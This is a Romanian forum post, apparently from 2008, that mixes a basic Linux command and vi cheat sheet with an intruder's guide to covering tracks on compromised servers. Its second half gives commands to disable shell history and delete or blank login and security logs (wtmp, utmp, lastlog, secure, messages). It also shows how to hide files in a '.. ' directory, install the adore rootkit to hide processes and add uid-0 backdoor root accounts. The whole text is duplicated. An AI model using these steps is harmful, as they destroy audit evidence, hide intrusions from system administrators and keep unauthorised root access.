==========> Cateva Comenzi Elementare In Linux <=========
w , uptime - arata de cate zile este serverul sus
id, whoami - arata dreptul pe care il avem pe root: apache sau root
mkdir – creaza un director
rmdir – sterge un director
cd (nume director) – intra in director
cd . . - iese din director
cp (fisier) destinatie – copiaza un fisier acolo unde dorim
mv (fisier) destinatie – muta un fisier acolo unde dorim
rm (fisier) – sterge fisierul dorit
more (fisier) – arata continutul fisierului
cat (fisier 1), (fisier n) – concateneaza mai multe fisiere
echo argumente – indica argumentele pe care le aplicam prin echo
ls - listeaza toate fisierele si directoarele din director
ls – l listeaza forma lunga a directorului si fisierelor
ls – A listeaza listeaza fisierele din director fara a lista si subdirectoarele
ls - R listeaza numai subdirectoare fara fisiere
who – afiseaza lista utilizatorilor conectati
pwd - calea de acces la director
ping -c1 yahoo.com - pot vedea ip la un server
cat /proc/cpuinfo - informatii detaliate despre un sistem
rpm -Uhv arhiva - despachetez arhiva rpm
gzip -9 ex.tar - modifika extensia tar in tar.gz
/usr/sbin/useradd -o -u 0 http - fac un shell
cat /etc/issue - vad versiunea de linux
gcc program.c -o program - compilez un program
/etc/rc.d/init.d - afiseaza pidurile
cat /etc/hosts - vad vhosturile
netstat -aut - vadd cine mai ii pe root
cat /etc/*release - vad versiunea de linux
alias ls='dir --color=tty'- bag ls daca nu are
/usr/sbin/userdel user -> sterg un user
find / -name ".. " -print -xdev - caut foldere ascunse
find / -name ".*" -print -xdev | cat -v - caut foldere ascunse
sort optiune(fisier) – sorteaza fisierele dupa optiunea solicitata
man comanda – afiseaza manualul comenzii respective
rwho - arata cine e online
chmod - shimba starea fisierului
chmod r+w fisier - fisierul acorda drept de citire si scriere
chmod +x fisier - fisierul poate fi executat
etc/services - aceste contine serviciile care ruleaza pe server.
*O mica paranteza unde voi mentiona directoru conf si fisierul etc/inetd.conf care contin setarile de baza.
cat - concateneaza(adica lipeste) si printeaza
chgrp - schimba grupul unui fisier
chmod - schimba modul unui fisier
chown - schimba proprietarul unui fisier
dd - converteste si copiaza un fisier
df - afiseaza spatiul liber da pa hdd sau df -h - vad cat are hardu
dir - listeaza fisierele dintr-un director
echo - afiseaza o linie de text
grep - afiseaza o linie care intruneste o calitate
gzip - arhivator gzip
gunzip - dezarhivator gzip
hostname - afiseaza sau schimba hostname-ul sistemului
kill - omoara procesele
ln - creeaza legaturi intre fisiere
ls - listeaza fisierele dintr-un director
mkdir - creeaza un director
mknod - creeaza device-uri
mount - monteaza un device
mv - muta fisierele dintr-o sursa intr-o destinatie
ps - raporteaza(afiseaza) statutul proceselor
pwd - printeaza(arata directoru in care esti) cale curenta
rm - sterge un fisier/director( rm -r)
rmdir - sterge un director
su - schimba uid-ul pentru a deveni super-user(adica drept de root)
tar - arhivator/dezarhivator tar
touch - creeaza un fisier
umount - demonteaza un device
uname - afiseaza informatii despre sistem
uname -a - idem ca cel de sus da mai explicit
Editorul de texte VI
- vi nume fisier – creaza fisier
+ - pozitioneaza cursorul la inceputul liniei urmatoare
- - pozitioneaza cursorul la inceputul liniei precedente
H – prima linie din ecran
M – mijlocul ecramului
L – ultima linie din ecran
nG – linie specificata
X – sterge caracterul curent
S - sterge caracterul curent si modul de inserare
dw – sterge cuvantul curent de la pozitia curenta la sfarsitul cuvantului
db - sterge cuvantul curent de la pozitia curenta la inceputul cuvantului
dd – sterge linia curenta
u - anuleaza ultina modificare
U – anuleaza toate modificarile liniilor curente
i – pentru inserare text
Esc – se intoarce la linia de comanda
i – parametu de comanda pt vi
:q – iese din vi daca documentul a fost salvat
:w – salvare in momentul tastarii
:q: - iesire fara salvare
:wq – iesire cu salvare
Bun pana aici sper ca am fost destul de explicit (sper), daca undeva am facut vreo greseala va rog frumos sa ma corectati.
Am
sa mai postez cateva comenzi elementare care va ajuta sa nu lasati urme
cand intrati pe un anumit sistem de operare Linux bine aici ma intorc
si fac o paranteza spunand ca daca adminu este destept si stie linux
bine va cam frigeti :uimit: nu prea aveti cum sa va ascundeti. Sa
trecem la treaba , (aceste comenzi sunt pentru a va proteja pe voi insiva,)
unset HISTFILE HISTSAVE
history -n
unset WATCH
export HISTFILE=/dev/null ( nu va recomand sa o dati comanda asta daca sunteti incepatori)
rm -rf .bash_history
rm -rf /var/run/utmp
rm -rf /var/run/wtmp -
rm -rf /var/log/lastlog
rm -rf /usr/adm/lastlog
rm -rf .bash_history
cd /var/log/
rm -rf wtmp
rm -rf secure
rm -rf lastlog
rm -rf messages
touch messagess
touch wtmp
touch secure
touch lastlog
cd /root
rm -rf .bash_history
touch .bash_history
*Cum vom face un director ascuns? De regula la comanda "ls" sunt
afisate directoare si fisiere normale, cele care au un "." (punct) sau
".." (doua puncte), nu sunt afisate. Cu ajutorul comenzii "mkdir"
puteti crea orice director (ex. mkdir ".. " - am creat directorul "
doua puncte si un spatiu deoarece directorul ".." (fara spatiu) exista
in toate radacinile).
Exemplu
cd /usr/local/exemplu
mkdir ".. "
In
sfarsit cu ajutoru acestor doua comenzi am facut un director ascuns
care nu va fi prea usor de gasit daca se va tine cont de a lucra in
server cu capul nu cu ura si lacomie. In directorul nou creat puteti
aduce arhive si sa le ascundeti cu adore
si nimeni nu le va gasi
(Probabilitate 98 - 99 %). Acum ce este adore si cum instalam adore?
Avem doua intrebari care pentru unii nu mai reprezinta o problema dar
pentru altii sunt folositoare. Asadar adore este un program care te
ascunde in server sau ascunde procesele care nu vrei sa fie vazute de
catre administrator. Acest program este usor de instalat si nu trebuie
decat sa faceti urmatorii pasi: consideram ca suntem tot in directorul:
/usr/local/exemple/".. "/
aduceti arhiva adore.tgz,o dezarhivati si urmati comenzile
cd adore
./configure
make
./startadore
oldps axw sau socklist
./awa i
si asa ati ascuns procesul unui program lansat de voi!
*Iar daca vreti sa inchideti un port care nu il puteti securiza? Nimic
mai simplu, lansati comenda de mai jos in care scrieti in locul cerut
numarul portului.
/sbin/ipchains -A input --destination-port -p tcp -j REJECT
*Cum facem un user cu drepturi de root?
/usr/sbin/adduser -g 0 -u 0
passwd
Acum
dupa ce va terminati treaba pe root, trebuie sa va stergeti si urmele
pentru a nu vedea adminu, si trebuie sterse urmatoarele fisiere:
rm -rf .bash_history
rm -rf /var/run/utmp
rm -rf /var/run/wtmp -
rm -rf /var/log/lastlog
rm -rf /usr/adm/lastlog
rm -rf .bash_history
cd /var/log/
rm -rf wtmp
rm -rf secure
rm -rf lastlog
rm -rf messages
touch messagess
touch wtmp
touch secure
touch lastlog
cd /root
rm -rf .bash_history
touch .bash_history
P.S. -> o lista cu comenzi explicate mai bine o gasiti aici -> https://util.forumotion.net/linux-f3/o-lista-cu-cele-mai-uzuale-comenzi-in-linux-t35.htm
w , uptime - arata de cate zile este serverul sus
id, whoami - arata dreptul pe care il avem pe root: apache sau root
mkdir – creaza un director
rmdir – sterge un director
cd (nume director) – intra in director
cd . . - iese din director
cp (fisier) destinatie – copiaza un fisier acolo unde dorim
mv (fisier) destinatie – muta un fisier acolo unde dorim
rm (fisier) – sterge fisierul dorit
more (fisier) – arata continutul fisierului
cat (fisier 1), (fisier n) – concateneaza mai multe fisiere
echo argumente – indica argumentele pe care le aplicam prin echo
ls - listeaza toate fisierele si directoarele din director
ls – l listeaza forma lunga a directorului si fisierelor
ls – A listeaza listeaza fisierele din director fara a lista si subdirectoarele
ls - R listeaza numai subdirectoare fara fisiere
who – afiseaza lista utilizatorilor conectati
pwd - calea de acces la director
ping -c1 yahoo.com - pot vedea ip la un server
cat /proc/cpuinfo - informatii detaliate despre un sistem
rpm -Uhv arhiva - despachetez arhiva rpm
gzip -9 ex.tar - modifika extensia tar in tar.gz
/usr/sbin/useradd -o -u 0 http - fac un shell
cat /etc/issue - vad versiunea de linux
gcc program.c -o program - compilez un program
/etc/rc.d/init.d - afiseaza pidurile
cat /etc/hosts - vad vhosturile
netstat -aut - vadd cine mai ii pe root
cat /etc/*release - vad versiunea de linux
alias ls='dir --color=tty'- bag ls daca nu are
/usr/sbin/userdel user -> sterg un user
find / -name ".. " -print -xdev - caut foldere ascunse
find / -name ".*" -print -xdev | cat -v - caut foldere ascunse
sort optiune(fisier) – sorteaza fisierele dupa optiunea solicitata
man comanda – afiseaza manualul comenzii respective
rwho - arata cine e online
chmod - shimba starea fisierului
chmod r+w fisier - fisierul acorda drept de citire si scriere
chmod +x fisier - fisierul poate fi executat
etc/services - aceste contine serviciile care ruleaza pe server.
*O mica paranteza unde voi mentiona directoru conf si fisierul etc/inetd.conf care contin setarile de baza.
cat - concateneaza(adica lipeste) si printeaza
chgrp - schimba grupul unui fisier
chmod - schimba modul unui fisier
chown - schimba proprietarul unui fisier
dd - converteste si copiaza un fisier
df - afiseaza spatiul liber da pa hdd sau df -h - vad cat are hardu
dir - listeaza fisierele dintr-un director
echo - afiseaza o linie de text
grep - afiseaza o linie care intruneste o calitate
gzip - arhivator gzip
gunzip - dezarhivator gzip
hostname - afiseaza sau schimba hostname-ul sistemului
kill - omoara procesele
ln - creeaza legaturi intre fisiere
ls - listeaza fisierele dintr-un director
mkdir - creeaza un director
mknod - creeaza device-uri
mount - monteaza un device
mv - muta fisierele dintr-o sursa intr-o destinatie
ps - raporteaza(afiseaza) statutul proceselor
pwd - printeaza(arata directoru in care esti) cale curenta
rm - sterge un fisier/director( rm -r)
rmdir - sterge un director
su - schimba uid-ul pentru a deveni super-user(adica drept de root)
tar - arhivator/dezarhivator tar
touch - creeaza un fisier
umount - demonteaza un device
uname - afiseaza informatii despre sistem
uname -a - idem ca cel de sus da mai explicit
Editorul de texte VI
- vi nume fisier – creaza fisier
+ - pozitioneaza cursorul la inceputul liniei urmatoare
- - pozitioneaza cursorul la inceputul liniei precedente
H – prima linie din ecran
M – mijlocul ecramului
L – ultima linie din ecran
nG – linie specificata
X – sterge caracterul curent
S - sterge caracterul curent si modul de inserare
dw – sterge cuvantul curent de la pozitia curenta la sfarsitul cuvantului
db - sterge cuvantul curent de la pozitia curenta la inceputul cuvantului
dd – sterge linia curenta
u - anuleaza ultina modificare
U – anuleaza toate modificarile liniilor curente
i – pentru inserare text
Esc – se intoarce la linia de comanda
i – parametu de comanda pt vi
:q – iese din vi daca documentul a fost salvat
:w – salvare in momentul tastarii
:q: - iesire fara salvare
:wq – iesire cu salvare
Bun pana aici sper ca am fost destul de explicit (sper), daca undeva am facut vreo greseala va rog frumos sa ma corectati.
Am
sa mai postez cateva comenzi elementare care va ajuta sa nu lasati urme
cand intrati pe un anumit sistem de operare Linux bine aici ma intorc
si fac o paranteza spunand ca daca adminu este destept si stie linux
bine va cam frigeti :uimit: nu prea aveti cum sa va ascundeti. Sa
trecem la treaba , (aceste comenzi sunt pentru a va proteja pe voi insiva,)
unset HISTFILE HISTSAVE
history -n
unset WATCH
export HISTFILE=/dev/null ( nu va recomand sa o dati comanda asta daca sunteti incepatori)
rm -rf .bash_history
rm -rf /var/run/utmp
rm -rf /var/run/wtmp -
rm -rf /var/log/lastlog
rm -rf /usr/adm/lastlog
rm -rf .bash_history
cd /var/log/
rm -rf wtmp
rm -rf secure
rm -rf lastlog
rm -rf messages
touch messagess
touch wtmp
touch secure
touch lastlog
cd /root
rm -rf .bash_history
touch .bash_history
*Cum vom face un director ascuns? De regula la comanda "ls" sunt
afisate directoare si fisiere normale, cele care au un "." (punct) sau
".." (doua puncte), nu sunt afisate. Cu ajutorul comenzii "mkdir"
puteti crea orice director (ex. mkdir ".. " - am creat directorul "
doua puncte si un spatiu deoarece directorul ".." (fara spatiu) exista
in toate radacinile).
Exemplu
cd /usr/local/exemplu
mkdir ".. "
In
sfarsit cu ajutoru acestor doua comenzi am facut un director ascuns
care nu va fi prea usor de gasit daca se va tine cont de a lucra in
server cu capul nu cu ura si lacomie. In directorul nou creat puteti
aduce arhive si sa le ascundeti cu adore
si nimeni nu le va gasi
(Probabilitate 98 - 99 %). Acum ce este adore si cum instalam adore?
Avem doua intrebari care pentru unii nu mai reprezinta o problema dar
pentru altii sunt folositoare. Asadar adore este un program care te
ascunde in server sau ascunde procesele care nu vrei sa fie vazute de
catre administrator. Acest program este usor de instalat si nu trebuie
decat sa faceti urmatorii pasi: consideram ca suntem tot in directorul:
/usr/local/exemple/".. "/
aduceti arhiva adore.tgz,o dezarhivati si urmati comenzile
cd adore
./configure
make
./startadore
oldps axw sau socklist
./awa i
si asa ati ascuns procesul unui program lansat de voi!
*Iar daca vreti sa inchideti un port care nu il puteti securiza? Nimic
mai simplu, lansati comenda de mai jos in care scrieti in locul cerut
numarul portului.
/sbin/ipchains -A input --destination-port -p tcp -j REJECT
*Cum facem un user cu drepturi de root?
/usr/sbin/adduser -g 0 -u 0
passwd
Acum
dupa ce va terminati treaba pe root, trebuie sa va stergeti si urmele
pentru a nu vedea adminu, si trebuie sterse urmatoarele fisiere:
rm -rf .bash_history
rm -rf /var/run/utmp
rm -rf /var/run/wtmp -
rm -rf /var/log/lastlog
rm -rf /usr/adm/lastlog
rm -rf .bash_history
cd /var/log/
rm -rf wtmp
rm -rf secure
rm -rf lastlog
rm -rf messages
touch messagess
touch wtmp
touch secure
touch lastlog
cd /root
rm -rf .bash_history
touch .bash_history
P.S. -> o lista cu comenzi explicate mai bine o gasiti aici -> https://util.forumotion.net/linux-f3/o-lista-cu-cele-mai-uzuale-comenzi-in-linux-t35.htm
Last edited by on Sun Feb 03, 2008 2:53 pm; edited 1 time in total